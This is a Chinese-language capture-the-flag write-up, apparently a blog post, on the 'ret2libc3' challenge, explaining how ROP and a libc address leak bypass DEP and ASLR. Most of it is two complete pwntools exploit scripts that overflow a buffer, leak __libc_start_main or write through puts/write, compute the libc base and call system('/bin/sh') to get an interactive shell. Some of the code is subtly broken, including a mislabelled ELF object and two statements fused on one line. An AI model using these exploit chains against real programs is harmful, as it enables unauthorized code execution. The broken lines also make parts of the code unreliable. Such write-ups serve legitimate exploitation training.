ret2libc3_通过 ROP 绕过 DEP 和 ASLR 防护

题目:link > m93t

ROP的全称为 Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
常见的程序流劫持就是栈溢出格式化字符串攻击堆溢出
通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)
ret = return-to-libc 是一种对抗linux系统栈保护的攻击方法

注:
0.有相关libc文件
1.没有system/bin/sh
2.在开启地址随机化和DEP保护的时候,我们无法利用正常的函数泄露去获取shell
3.在没有sysytem的时候,systemwrite的相对地址是不会变的。 我们可以利用write(延迟捆绑技术)输出真实的write函数的地址(首选需要调用一次write函数)
4.系统在调用write@plt的时候会将write的真实地址存放在write@got表里面,会根据write@got跳转到write的位置)
5.利用system_addr = (write_addr -write@plt) + system@plt => libc_base + system@plt 。知道了libc_base就等于知道了libc库的加载基地址

EXP

注:常见的有泄露__libc_start_main函数, 获取libc_base -> system
LibcSearcher 一个基于libc_database写的python库

# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import LibcSearcher

p = process('./ret2libc3')
libc = ELF('./ret2libc3')


#通过工具获得__libc_start_main@got
print "1"   #如果出错知道在哪个环节

plt_puts = libc.plt['puts']
got_libc_start_main = libc.got['__libc_start_main']
main_addr = libc.symbols['main']
print "[+]plt_puts:"+hex(plt_puts)
print "[+]got_libc_start_main:"+hex(got_libc_start_main) 
print "[+]main_addr:"+hex(main_addr)

print "2"
#泄露got_libc_start_main的地址
payload = flat(['A' * 112,plt_puts,main_addr,got_libc_start_main])
p.recvuntil('Can you find it !?')
p.sendline(payload)
libc_start_main_addr = u32(p.recv()[0:4])
print "[+]libc_start_main_addr :" +hex(libc_start_main_addr)

print "3"
#泄露libc库
libc_link = LibcSearcher('__libc_start_main',libc_start_main_addr)
#函数地址 - 函数偏移 = libc_base
libc_base =  libc_start_main_addr - libc_link.dump('__libc_start_main')
system_addr = libc_base + libc_link.dump('system')
bin_sh_addr = libc_base + libc_link.dump('str_bin_sh')

print "get shell"
payload = flat(['A'*104,system_addr,0xdeadbeef,bin_sh_addr])
p.sendline(payload)
p.interactive()

注:原先我是通过找到__libc_start_main (地址后三位),在libc—datebase里面去查找,然后根据自己使用的glibc的版本去泄露偏移地址
这个脚本工具,是基于libc-datebase的数据库,我们可以直接用脚本跑出来,减少了去gdb内部找地址。

EXP(write)

注:这个脚本适用于带有write函数的题目,和本题类似,利用思路是一样的。

from pwn import*

libc = ELF('./ret2libc3')
elf = ELF('./ret2libc3')p = process('./ret2libc3')

plt_write = elf.plt['write']
got_write = elf.sym['write']
main_addr = 0x80484D0


payload = 'A'*140
payload += p32(plt_write)
payload += p32(main_addr)
payload += p32(1)
payload += p32(got_write)
payload += p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))

system_addr = write_addr - libc.sym['write'] + libc.sym['system']
bin_sh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))
payload = 'A'*140
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)

p.sendline(payload)
p.interactive()

参考链接:
工具使用:https://blog.csdn.net/kevin66654/article/details/87282411

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值